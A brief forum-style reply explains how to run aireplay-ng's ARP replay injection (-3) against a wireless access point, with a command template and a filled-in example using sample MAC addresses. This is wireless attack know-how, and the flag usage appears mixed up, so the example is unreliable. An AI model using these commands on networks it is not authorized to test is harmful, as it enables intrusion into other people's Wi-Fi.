First of all. Just typing aireplay won't help. aireplay-ng on the other hand.
My airepaly for getting arp's would be something like aireplay-ng -3 -b <mymac> -a <APmac> <the interface you set to monitor>
ex, aireplay-ng -3 -b 13:24:35:46:47:34 -a 34:35:36:37:38:39 ath0



